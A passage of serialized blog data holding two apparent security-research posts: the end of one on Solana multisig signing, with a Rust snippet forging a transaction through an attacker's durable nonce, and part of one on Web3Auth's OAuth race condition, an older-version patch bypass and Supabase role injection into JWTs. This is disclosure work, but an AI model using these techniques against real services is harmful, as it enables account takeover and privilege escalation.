owns all nonce accounts.\n",{"type":23,"tag":141,"props":67316,"children":67317},{"class":143,"line":218},[67318,67323],{"type":23,"tag":141,"props":67319,"children":67320},{"style":750},[67321],{"type":29,"value":67322}," SYSTEM_PROGRAM_ADDRESS",{"type":23,"tag":141,"props":67324,"children":67325},{"style":154},[67326],{"type":29,"value":2168},{"type":23,"tag":141,"props":67328,"children":67329},{"class":143,"line":227},[67330],{"type":23,"tag":141,"props":67331,"children":67332},{"style":154},[67333],{"type":29,"value":67334}," {\n",{"type":23,"tag":141,"props":67336,"children":67337},{"class":143,"line":241},[67338,67343],{"type":23,"tag":141,"props":67339,"children":67340},{"style":750},[67341],{"type":29,"value":67342}," filters:",{"type":23,"tag":141,"props":67344,"children":67345},{"style":154},[67346],{"type":29,"value":24305},{"type":23,"tag":141,"props":67348,"children":67349},{"class":143,"line":262},[67350],{"type":23,"tag":141,"props":67351,"children":67352},{"style":154},[67353],{"type":29,"value":67354}," {\n",{"type":23,"tag":141,"props":67356,"children":67357},{"class":143,"line":271},[67358],{"type":23,"tag":141,"props":67359,"children":67360},{"style":443},[67361],{"type":29,"value":67362}," // Nonce accounts are exactly 80 bytes long\n",{"type":23,"tag":141,"props":67364,"children":67365},{"class":143,"line":293},[67366,67371,67376],{"type":23,"tag":141,"props":67367,"children":67368},{"style":750},[67369],{"type":29,"value":67370}," dataSize:",{"type":23,"tag":141,"props":67372,"children":67373},{"style":472},[67374],{"type":29,"value":67375}," 80",{"type":23,"tag":141,"props":67377,"children":67378},{"style":154},[67379],{"type":29,"value":2168},{"type":23,"tag":141,"props":67381,"children":67382},{"class":143,"line":801},[67383],{"type":23,"tag":141,"props":67384,"children":67385},{"style":154},[67386],{"type":29,"value":35670},{"type":23,"tag":141,"props":67388,"children":67389},{"class":143,"line":810},[67390],{"type":23,"tag":141,"props":67391,"children":67392},{"style":154},[67393],{"type":29,"value":67354},{"type":23,"tag":141,"props":67395,"children":67396},{"class":143,"line":824},[67397],{"type":23,"tag":141,"props":67398,"children":67399},{"style":443},[67400],{"type":29,"value":67401}," // The authority's 32-byte public key is written\n",{"type":23,"tag":141,"props":67403,"children":67404},{"class":143,"line":839},[67405],{"type":23,"tag":141,"props":67406,"children":67407},{"style":443},[67408],{"type":29,"value":67409}," // into bytes 8-40 of the nonce's account data.\n",{"type":23,"tag":141,"props":67411,"children":67412},{"class":143,"line":848},[67413,67418],{"type":23,"tag":141,"props":67414,"children":67415},{"style":750},[67416],{"type":29,"value":67417}," memcmp:",{"type":23,"tag":141,"props":67419,"children":67420},{"style":154},[67421],{"type":29,"value":1951},{"type":23,"tag":141,"props":67423,"children":67424},{"class":143,"line":2304},[67425,67430,67435,67439,67444],{"type":23,"tag":141,"props":67426,"children":67427},{"style":750},[67428],{"type":29,"value":67429}," bytes:",{"type":23,"tag":141,"props":67431,"children":67432},{"style":750},[67433],{"type":29,"value":67434}," AUTHORITY_PUBLIC_KEY",{"type":23,"tag":141,"props":67436,"children":67437},{"style":154},[67438],{"type":29,"value":322},{"type":23,"tag":141,"props":67440,"children":67441},{"style":184},[67442],{"type":29,"value":67443},"toBase58",{"type":23,"tag":141,"props":67445,"children":67446},{"style":154},[67447],{"type":29,"value":2151},{"type":23,"tag":141,"props":67449,"children":67450},{"class":143,"line":2313},[67451,67456,67461],{"type":23,"tag":141,"props":67452,"children":67453},{"style":750},[67454],{"type":29,"value":67455}," offset:",{"type":23,"tag":141,"props":67457,"children":67458},{"style":472},[67459],{"type":29,"value":67460}," 8",{"type":23,"tag":141,"props":67462,"children":67463},{"style":154},[67464],{"type":29,"value":2168},{"type":23,"tag":141,"props":67466,"children":67467},{"class":143,"line":2335},[67468],{"type":23,"tag":141,"props":67469,"children":67470},{"style":154},[67471],{"type":29,"value":24057},{"type":23,"tag":141,"props":67473,"children":67474},{"class":143,"line":2343},[67475],{"type":23,"tag":141,"props":67476,"children":67477},{"style":154},[67478],{"type":29,"value":35670},{"type":23,"tag":141,"props":67480,"children":67481},{"class":143,"line":2352},[67482],{"type":23,"tag":141,"props":67483,"children":67484},{"style":154},[67485],{"type":29,"value":67486}," ],\n",{"type":23,"tag":141,"props":67488,"children":67489},{"class":143,"line":2421},[67490],{"type":23,"tag":141,"props":67491,"children":67492},{"style":154},[67493],{"type":29,"value":854},{"type":23,"tag":141,"props":67495,"children":67496},{"class":143,"line":2429},[67497],{"type":23,"tag":141,"props":67498,"children":67499},{"style":154},[67500],{"type":29,"value":2496},{"type":23,"tag":32,"props":67502,"children":67503},{},[67504,67506,67514],{"type":29,"value":67505},"Unfortunately this is not sufficient",{"type":23,"tag":676,"props":67507,"children":67508},{},[67509],{"type":23,"tag":55,"props":67510,"children":67512},{"href":681,"ariaDescribedBy":67511,"dataFootnoteRef":7,"id":684},[683],[67513],{"type":29,"value":687},{"type":29,"value":67515},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":23,"tag":131,"props":67517,"children":67519},{"className":1639,"code":67518,"language":1638,"meta":7,"style":7}," let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n let message =\n Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n .serialize();\n",[67520],{"type":23,"tag":38,"props":67521,"children":67522},{"__ignoreMap":7},[67523,67589,67605,67688],{"type":23,"tag":141,"props":67524,"children":67525},{"class":143,"line":144},[67526,67530,67534,67538,67543,67547,67551,67555,67559,67563,67567,67571,67576,67580,67585],{"type":23,"tag":141,"props":67527,"children":67528},{"style":449},[67529],{"type":29,"value":1659},{"type":23,"tag":141,"props":67531,"children":67532},{"style":750},[67533],{"type":29,"value":41844},{"type":23,"tag":141,"props":67535,"children":67536},{"style":160},[67537],{"type":29,"value":1674},{"type":23,"tag":141,"props":67539,"children":67540},{"style":154},[67541],{"type":29,"value":67542}," system_instruction",{"type":23,"tag":141,"props":67544,"children":67545},{"style":160},[67546],{"type":29,"value":2141},{"type":23,"tag":141,"props":67548,"children":67549},{"style":184},[67550],{"type":29,"value":30591},{"type":23,"tag":141,"props":67552,"children":67553},{"style":154},[67554],{"type":29,"value":192},{"type":23,"tag":141,"props":67556,"children":67557},{"style":160},[67558],{"type":29,"value":1770},{"type":23,"tag":141,"props":67560,"children":67561},{"style":750},[67562],{"type":29,"value":18145},{"type":23,"tag":141,"props":67564,"children":67565},{"style":154},[67566],{"type":29,"value":480},{"type":23,"tag":141,"props":67568,"children":67569},{"style":160},[67570],{"type":29,"value":1770},{"type":23,"tag":141,"props":67572,"children":67573},{"style":750},[67574],{"type":29,"value":67575},"ledger_base_pubkey",{"type":23,"tag":141,"props":67577,"children":67578},{"style":154},[67579],{"type":29,"value":480},{"type":23,"tag":141,"props":67581,"children":67582},{"style":472},[67583],{"type":29,"value":67584},"42",{"type":23,"tag":141,"props":67586,"children":67587},{"style":154},[67588],{"type":29,"value":2496},{"type":23,"tag":141,"props":67590,"children":67591},{"class":143,"line":180},[67592,67596,67601],{"type":23,"tag":141,"props":67593,"children":67594},{"style":449},[67595],{"type":29,"value":1659},{"type":23,"tag":141,"props":67597,"children":67598},{"style":750},[67599],{"type":29,"value":67600}," message",{"type":23,"tag":141,"props":67602,"children":67603},{"style":160},[67604],{"type":29,"value":34326},{"type":23,"tag":141,"props":67606,"children":67607},{"class":143,"line":205},[67608,67613,67617,67622,67626,67630,67634,67638,67642,67646,67650,67654,67659,67663,67667,67672,67676,67680,67684],{"type":23,"tag":141,"props":67609,"children":67610},{"style":725},[67611],{"type":29,"value":67612}," Message",{"type":23,"tag":141,"props":67614,"children":67615},{"style":160},[67616],{"type":29,"value":2141},{"type":23,"tag":141,"props":67618,"children":67619},{"style":184},[67620],{"type":29,"value":67621},"new_with_nonce",{"type":23,"tag":141,"props":67623,"children":67624},{"style":154},[67625],{"type":29,"value":192},{"type":23,"tag":141,"props":67627,"children":67628},{"style":184},[67629],{"type":29,"value":2548},{"type":23,"tag":141,"props":67631,"children":67632},{"style":154},[67633],{"type":29,"value":2399},{"type":23,"tag":141,"props":67635,"children":67636},{"style":750},[67637],{"type":29,"value":42154},{"type":23,"tag":141,"props":67639,"children":67640},{"style":154},[67641],{"type":29,"value":21732},{"type":23,"tag":141,"props":67643,"children":67644},{"style":725},[67645],{"type":29,"value":40493},{"type":23,"tag":141,"props":67647,"children":67648},{"style":154},[67649],{"type":29,"value":192},{"type":23,"tag":141,"props":67651,"children":67652},{"style":160},[67653],{"type":29,"value":1770},{"type":23,"tag":141,"props":67655,"children":67656},{"style":750},[67657],{"type":29,"value":67658},"evil_nonce_authority",{"type":23,"tag":141,"props":67660,"children":67661},{"style":154},[67662],{"type":29,"value":13854},{"type":23,"tag":141,"props":67664,"children":67665},{"style":160},[67666],{"type":29,"value":1770},{"type":23,"tag":141,"props":67668,"children":67669},{"style":750},[67670],{"type":29,"value":67671},"nonce_account",{"type":23,"tag":141,"props":67673,"children":67674},{"style":154},[67675],{"type":29,"value":480},{"type":23,"tag":141,"props":67677,"children":67678},{"style":160},[67679],{"type":29,"value":1770},{"type":23,"tag":141,"props":67681,"children":67682},{"style":750},[67683],{"type":29,"value":67658},{"type":23,"tag":141,"props":67685,"children":67686},{"style":154},[67687],{"type":29,"value":758},{"type":23,"tag":141,"props":67689,"children":67690},{"class":143,"line":218},[67691,67695,67700],{"type":23,"tag":141,"props":67692,"children":67693},{"style":160},[67694],{"type":29,"value":1828},{"type":23,"tag":141,"props":67696,"children":67697},{"style":184},[67698],{"type":29,"value":67699},"serialize",{"type":23,"tag":141,"props":67701,"children":67702},{"style":154},[67703],{"type":29,"value":1305},{"type":23,"tag":32,"props":67705,"children":67706},{},[67707,67709,67716],{"type":29,"value":67708},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":23,"tag":55,"props":67710,"children":67713},{"href":67711,"rel":67712},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[59],[67714],{"type":29,"value":67715},"logs the fee-payer here",{"type":29,"value":322},{"type":23,"tag":131,"props":67718,"children":67720},{"className":15191,"code":67719,"language":1807,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[67721],{"type":23,"tag":38,"props":67722,"children":67723},{"__ignoreMap":7},[67724,67783,67839],{"type":23,"tag":141,"props":67725,"children":67726},{"class":143,"line":144},[67727,67731,67736,67740,67744,67749,67753,67758,67762,67766,67770,67774,67779],{"type":23,"tag":141,"props":67728,"children":67729},{"style":449},[67730],{"type":29,"value":747},{"type":23,"tag":141,"props":67732,"children":67733},{"style":184},[67734],{"type":29,"value":67735}," print_config_show_authority",{"type":23,"tag":141,"props":67737,"children":67738},{"style":154},[67739],{"type":29,"value":192},{"type":23,"tag":141,"props":67741,"children":67742},{"style":449},[67743],{"type":29,"value":8334},{"type":23,"tag":141,"props":67745,"children":67746},{"style":154},[67747],{"type":29,"value":67748}," PrintConfig",{"type":23,"tag":141,"props":67750,"children":67751},{"style":160},[67752],{"type":29,"value":197},{"type":23,"tag":141,"props":67754,"children":67755},{"style":750},[67756],{"type":29,"value":67757}," print_config",{"type":23,"tag":141,"props":67759,"children":67760},{"style":154},[67761],{"type":29,"value":480},{"type":23,"tag":141,"props":67763,"children":67764},{"style":449},[67765],{"type":29,"value":8334},{"type":23,"tag":141,"props":67767,"children":67768},{"style":154},[67769],{"type":29,"value":19529},{"type":23,"tag":141,"props":67771,"children":67772},{"style":160},[67773],{"type":29,"value":197},{"type":23,"tag":141,"props":67775,"children":67776},{"style":750},[67777],{"type":29,"value":67778}," authority",{"type":23,"tag":141,"props":67780,"children":67781},{"style":154},[67782],{"type":29,"value":13480},{"type":23,"tag":141,"props":67784,"children":67785},{"class":143,"line":180},[67786,67790,67794,67798,67803,67807,67811,67816,67820,67825,67829,67834],{"type":23,"tag":141,"props":67787,"children":67788},{"style":148},[67789],{"type":29,"value":15665},{"type":23,"tag":141,"props":67791,"children":67792},{"style":750},[67793],{"type":29,"value":67757},{"type":23,"tag":141,"props":67795,"children":67796},{"style":154},[67797],{"type":29,"value":12435},{"type":23,"tag":141,"props":67799,"children":67800},{"style":750},[67801],{"type":29,"value":67802},"expert_mode",{"type":23,"tag":141,"props":67804,"children":67805},{"style":160},[67806],{"type":29,"value":22380},{"type":23,"tag":141,"props":67808,"children":67809},{"style":160},[67810],{"type":29,"value":1258},{"type":23,"tag":141,"props":67812,"children":67813},{"style":184},[67814],{"type":29,"value":67815},"pubkeys_equal",{"type":23,"tag":141,"props":67817,"children":67818},{"style":154},[67819],{"type":29,"value":192},{"type":23,"tag":141,"props":67821,"children":67822},{"style":750},[67823],{"type":29,"value":67824},"print_config",{"type":23,"tag":141,"props":67826,"children":67827},{"style":154},[67828],{"type":29,"value":12435},{"type":23,"tag":141,"props":67830,"children":67831},{"style":750},[67832],{"type":29,"value":67833},"signer_pubkey",{"type":23,"tag":141,"props":67835,"children":67836},{"style":154},[67837],{"type":29,"value":67838},", authority);\n",{"type":23,"tag":141,"props":67840,"children":67841},{"class":143,"line":205},[67842],{"type":23,"tag":141,"props":67843,"children":67844},{"style":154},[67845],{"type":29,"value":2573},{"type":23,"tag":32,"props":67847,"children":67848},{},[67849],{"type":29,"value":67850},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":23,"tag":32,"props":67852,"children":67853},{},[67854],{"type":29,"value":67855},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":23,"tag":32,"props":67857,"children":67858},{},[67859],{"type":29,"value":67860},"We can then use the following procedure.",{"type":23,"tag":116,"props":67862,"children":67863},{},[67864,67869,67874,67879,67884],{"type":23,"tag":120,"props":67865,"children":67866},{},[67867],{"type":29,"value":67868},"Ensure all signers have no durable nonce accounts.",{"type":23,"tag":120,"props":67870,"children":67871},{},[67872],{"type":29,"value":67873},"The first signer signs and submits the transaction.",{"type":23,"tag":120,"props":67875,"children":67876},{},[67877],{"type":29,"value":67878},"Wait two minutes for all recent blockhashes to expire.",{"type":23,"tag":120,"props":67880,"children":67881},{},[67882],{"type":29,"value":67883},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":23,"tag":120,"props":67885,"children":67886},{},[67887],{"type":29,"value":67888},"Repeat steps 2 to 4 for each signer",{"type":23,"tag":24,"props":67890,"children":67892},{"id":67891},"beyond",[67893],{"type":29,"value":67894},"Beyond",{"type":23,"tag":32,"props":67896,"children":67897},{},[67898],{"type":29,"value":67899},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":23,"tag":32,"props":67901,"children":67902},{},[67903,67905,67912],{"type":29,"value":67904},"For example, pcaversaccio wrote a tool to ",{"type":23,"tag":55,"props":67906,"children":67909},{"href":67907,"rel":67908},"https://github.com/pcaversaccio/safe-tx-hashes-util",[59],[67910],{"type":29,"value":67911},"validate Safe transaction hashes",{"type":29,"value":67913},". As the space matures, we hope more open source tooling will come to light.",{"type":23,"tag":1435,"props":67915,"children":67917},{"className":67916,"dataFootnotes":7},[1438],[67918,67923],{"type":23,"tag":24,"props":67919,"children":67921},{"className":67920,"id":683},[1443],[67922],{"type":29,"value":1446},{"type":23,"tag":116,"props":67924,"children":67925},{},[67926],{"type":23,"tag":120,"props":67927,"children":67928},{"id":1452},[67929,67931,67939,67941],{"type":29,"value":67930},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":23,"tag":55,"props":67932,"children":67936},{"href":67933,"rel":67934,":style":67935},"https://twitter.com/PierreArowana",[59],"color: #B1D0EE; text-decoration: underline;",[67937],{"type":29,"value":67938},"@PierreArowana",{"type":29,"value":67940}," for pointing this out to me. ",{"type":23,"tag":55,"props":67942,"children":67944},{"href":1480,"ariaLabel":1481,"className":67943,"dataFootnoteBackref":7},[1483],[67945],{"type":29,"value":1486},{"type":23,"tag":1508,"props":67947,"children":67948},{},[67949],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":67951},[67952,67956,67957,67958],{"id":66148,"depth":180,"text":66151,"children":67953},[67954,67955],{"id":66159,"depth":205,"text":66162},{"id":66438,"depth":205,"text":66441},{"id":67159,"depth":180,"text":67162},{"id":67891,"depth":180,"text":67894},{"id":683,"depth":180,"text":1446},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":67963,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":67964,"description":67965,"date":67966,"author":67967,"image":67968,"isFeatured":15,"onBlogPage":15,"tags":67970,"body":67971,"_type":1522,"_id":69669,"_source":1524,"_file":69670,"_stem":69671,"_extension":1527},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[29669,29668],{"src":67969},"/posts/web2-in-web3/title.jpg",[30609],{"type":20,"children":67972,"toc":69651},[67973,67978,67983,67988,68014,68020,68025,68031,68052,68058,68063,68070,68083,68113,68119,68163,68170,68176,68209,68230,68238,68257,68264,68269,68275,68280,68285,68310,68315,68321,68327,68348,68354,68381,68409,68416,68421,68426,68771,68775,68797,68803,68824,68838,68851,68856,68872,68877,69606,69611,69616,69621,69633,69637,69642,69647],{"type":23,"tag":32,"props":67974,"children":67975},{},[67976],{"type":29,"value":67977},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":23,"tag":32,"props":67979,"children":67980},{},[67981],{"type":29,"value":67982},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":23,"tag":32,"props":67984,"children":67985},{},[67986],{"type":29,"value":67987},"In this article, we will discuss three cases we discovered:",{"type":23,"tag":116,"props":67989,"children":67990},{},[67991,67996,68009],{"type":23,"tag":120,"props":67992,"children":67993},{},[67994],{"type":29,"value":67995},"OAuth Logic Vulnerability on an Authentication Provider",{"type":23,"tag":120,"props":67997,"children":67998},{},[67999,68001,68007],{"type":29,"value":68000},"Supabase ",{"type":23,"tag":38,"props":68002,"children":68004},{"className":68003},[],[68005],{"type":29,"value":68006},"user_metadata",{"type":29,"value":68008}," misconfiguration",{"type":23,"tag":120,"props":68010,"children":68011},{},[68012],{"type":29,"value":68013},"OAuth abuse in localhost development environment",{"type":23,"tag":24,"props":68015,"children":68017},{"id":68016},"abusing-oauth-authentication-logic",[68018],{"type":29,"value":68019},"Abusing OAuth Authentication Logic",{"type":23,"tag":32,"props":68021,"children":68022},{},[68023],{"type":29,"value":68024},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":23,"tag":8287,"props":68026,"children":68028},{"id":68027},"web3auth-introduction",[68029],{"type":29,"value":68030},"Web3Auth Introduction",{"type":23,"tag":32,"props":68032,"children":68033},{},[68034,68041,68043,68050],{"type":23,"tag":55,"props":68035,"children":68038},{"href":68036,"rel":68037},"https://web3auth.io/",[59],[68039],{"type":29,"value":68040},"Web3Auth",{"type":29,"value":68042}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":23,"tag":55,"props":68044,"children":68047},{"href":68045,"rel":68046},"https://oauth.net/2/",[59],[68048],{"type":29,"value":68049},"OAuth2",{"type":29,"value":68051}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":23,"tag":8287,"props":68053,"children":68055},{"id":68054},"web3auth-authentication-flow",[68056],{"type":29,"value":68057},"Web3Auth Authentication flow",{"type":23,"tag":32,"props":68059,"children":68060},{},[68061],{"type":29,"value":68062},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":23,"tag":32,"props":68064,"children":68065},{},[68066],{"type":23,"tag":2591,"props":68067,"children":68069},{"alt":49057,"src":68068},"/posts/web2-in-web3/auth-flow.png",[],{"type":23,"tag":32,"props":68071,"children":68072},{},[68073,68075,68081],{"type":29,"value":68074},"After the final redirect back to the dApp, the application can use the secret token to authenticate with the service identified by the ",{"type":23,"tag":38,"props":68076,"children":68078},{"className":68077},[],[68079],{"type":29,"value":68080},"client_id",{"type":29,"value":68082},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":23,"tag":32,"props":68084,"children":68085},{},[68086,68088,68094,68096,68102,68104,68111],{"type":29,"value":68087},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":23,"tag":38,"props":68089,"children":68091},{"className":68090},[],[68092],{"type":29,"value":68093},"/start",{"type":29,"value":68095}," validates the ",{"type":23,"tag":38,"props":68097,"children":68099},{"className":68098},[],[68100],{"type":29,"value":68101},"redirect_url",{"type":29,"value":68103}," against the configured ",{"type":23,"tag":55,"props":68105,"children":68108},{"href":68106,"rel":68107},"https://web3auth.io/docs/dashboard-setup/whitelisting",[59],[68109],{"type":29,"value":68110},"whitelist",{"type":29,"value":68112}," to ensure it matches one of the allowed URLs.",{"type":23,"tag":8287,"props":68114,"children":68116},{"id":68115},"in-transit-cryptography",[68117],{"type":29,"value":68118},"In-transit Cryptography",{"type":23,"tag":32,"props":68120,"children":68121},{},[68122,68124,68131,68133,68139,68141,68147,68149,68154,68156,68161],{"type":29,"value":68123},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":23,"tag":55,"props":68125,"children":68128},{"href":68126,"rel":68127},"https://en.wikipedia.org/wiki/Key_(cryptography)",[59],[68129],{"type":29,"value":68130},"cryptographic key",{"type":29,"value":68132}," is derived from the ",{"type":23,"tag":38,"props":68134,"children":68136},{"className":68135},[],[68137],{"type":29,"value":68138},"sessionId",{"type":29,"value":68140}," sent in the ",{"type":23,"tag":38,"props":68142,"children":68144},{"className":68143},[],[68145],{"type":29,"value":68146},"GET",{"type":29,"value":68148}," parameter to the ",{"type":23,"tag":38,"props":68150,"children":68152},{"className":68151},[],[68153],{"type":29,"value":68093},{"type":29,"value":68155},". Since the ",{"type":23,"tag":38,"props":68157,"children":68159},{"className":68158},[],[68160],{"type":29,"value":68138},{"type":29,"value":68162}," can be controlled, it allows us to send and receive data from the session server.",{"type":23,"tag":32,"props":68164,"children":68165},{},[68166],{"type":23,"tag":2591,"props":68167,"children":68169},{"alt":49057,"src":68168},"/posts/web2-in-web3/image-2.png",[],{"type":23,"tag":8287,"props":68171,"children":68173},{"id":68172},"race-condition",[68174],{"type":29,"value":68175},"Race Condition",{"type":23,"tag":32,"props":68177,"children":68178},{},[68179,68181,68186,68188,68194,68196,68201,68203,68208],{"type":29,"value":68180},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":23,"tag":38,"props":68182,"children":68184},{"className":68183},[],[68185],{"type":29,"value":68093},{"type":29,"value":68187}," and later used in the ",{"type":23,"tag":38,"props":68189,"children":68191},{"className":68190},[],[68192],{"type":29,"value":68193},"/end",{"type":29,"value":68195}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after validation (",{"type":23,"tag":38,"props":68197,"children":68199},{"className":68198},[],[68200],{"type":29,"value":68093},{"type":29,"value":68202},") but before use (",{"type":23,"tag":38,"props":68204,"children":68206},{"className":68205},[],[68207],{"type":29,"value":68193},{"type":29,"value":19414},{"type":23,"tag":32,"props":68210,"children":68211},{},[68212,68214,68221,68223,68228],{"type":29,"value":68213},"To exploit this ",{"type":23,"tag":55,"props":68215,"children":68218},{"href":68216,"rel":68217},"https://portswigger.net/web-security/race-conditions",[59],[68219],{"type":29,"value":68220},"race condition",{"type":29,"value":68222},", an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":23,"tag":38,"props":68224,"children":68226},{"className":68225},[],[68227],{"type":29,"value":68138},{"type":29,"value":68229}," but with modified malicious parameters.",{"type":23,"tag":32,"props":68231,"children":68232},{},[68233],{"type":23,"tag":3998,"props":68234,"children":68235},{},[68236],{"type":29,"value":68237},"What can be modified to achieve something impactful?",{"type":23,"tag":32,"props":68239,"children":68240},{},[68241,68243,68249,68251,68256],{"type":29,"value":68242},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":23,"tag":38,"props":68244,"children":68246},{"className":68245},[],[68247],{"type":29,"value":68248},"redirect_uri",{"type":29,"value":68250}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":23,"tag":38,"props":68252,"children":68254},{"className":68253},[],[68255],{"type":29,"value":68080},{"type":29,"value":322},{"type":23,"tag":32,"props":68258,"children":68259},{},[68260],{"type":23,"tag":2591,"props":68261,"children":68263},{"alt":49057,"src":68262},"/posts/web2-in-web3/image-3.png",[],{"type":23,"tag":32,"props":68265,"children":68266},{},[68267],{"type":29,"value":68268},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":23,"tag":8287,"props":68270,"children":68272},{"id":68271},"patch-bypass",[68273],{"type":29,"value":68274},"Patch & Bypass",{"type":23,"tag":32,"props":68276,"children":68277},{},[68278],{"type":29,"value":68279},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":23,"tag":32,"props":68281,"children":68282},{},[68283],{"type":29,"value":68284},"To bypass the fix we were able to change the version in the URL:",{"type":23,"tag":15362,"props":68286,"children":68287},{},[68288,68299],{"type":23,"tag":120,"props":68289,"children":68290},{},[68291,68297],{"type":23,"tag":38,"props":68292,"children":68294},{"className":68293},[],[68295],{"type":29,"value":68296},"https://auth.web3auth.io/v8/start",{"type":29,"value":68298}," (latest version)",{"type":23,"tag":120,"props":68300,"children":68301},{},[68302,68308],{"type":23,"tag":38,"props":68303,"children":68305},{"className":68304},[],[68306],{"type":29,"value":68307},"https://auth.web3auth.io/v6/start",{"type":29,"value":68309}," (bypass)",{"type":23,"tag":32,"props":68311,"children":68312},{},[68313],{"type":29,"value":68314},"We reported this issue, and it was addressed just as quickly!",{"type":23,"tag":24,"props":68316,"children":68318},{"id":68317},"supabase-metadata-manipulation",[68319],{"type":29,"value":68320},"Supabase metadata manipulation",{"type":23,"tag":8287,"props":68322,"children":68324},{"id":68323},"supabase-authentication-flow",[68325],{"type":29,"value":68326},"Supabase Authentication flow",{"type":23,"tag":32,"props":68328,"children":68329},{},[68330,68337,68339,68346],{"type":23,"tag":55,"props":68331,"children":68334},{"href":68332,"rel":68333},"https://supabase.com/docs/guides/auth",[59],[68335],{"type":29,"value":68336},"Supabase",{"type":29,"value":68338}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":23,"tag":55,"props":68340,"children":68343},{"href":68341,"rel":68342},"https://jwt.io/",[59],[68344],{"type":29,"value":68345},"JWT",{"type":29,"value":68347}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":23,"tag":8287,"props":68349,"children":68351},{"id":68350},"jwt-verification",[68352],{"type":29,"value":68353},"JWT verification",{"type":23,"tag":32,"props":68355,"children":68356},{},[68357,68359,68364,68365,68371,68373,68379],{"type":29,"value":68358},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":23,"tag":38,"props":68360,"children":68362},{"className":68361},[],[68363],{"type":29,"value":68006},{"type":29,"value":313},{"type":23,"tag":38,"props":68366,"children":68368},{"className":68367},[],[68369],{"type":29,"value":68370},"identity_data",{"type":29,"value":68372},", in a signup request by manipulating the input inside the ",{"type":23,"tag":38,"props":68374,"children":68376},{"className":68375},[],[68377],{"type":29,"value":68378},"\"data\": {}",{"type":29,"value":68380}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":23,"tag":32,"props":68382,"children":68383},{},[68384,68386,68392,68393,68399,68401,68407],{"type":29,"value":68385},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":23,"tag":38,"props":68387,"children":68389},{"className":68388},[],[68390],{"type":29,"value":68391},"\"role\": \"admin\"",{"type":29,"value":11812},{"type":23,"tag":38,"props":68394,"children":68396},{"className":68395},[],[68397],{"type":29,"value":68398},"\"email_verified\": true",{"type":29,"value":68400},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":23,"tag":38,"props":68402,"children":68404},{"className":68403},[],[68405],{"type":29,"value":68406},"\"test\": \"test\"",{"type":29,"value":68408},", enabling us to inject arbitrary data into the final JWT token.",{"type":23,"tag":32,"props":68410,"children":68411},{},[68412],{"type":23,"tag":2591,"props":68413,"children":68415},{"alt":49057,"src":68414},"/posts/web2-in-web3/image-4.png",[],{"type":23,"tag":32,"props":68417,"children":68418},{},[68419],{"type":29,"value":68420},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":23,"tag":32,"props":68422,"children":68423},{},[68424],{"type":29,"value":68425},"The attacker could 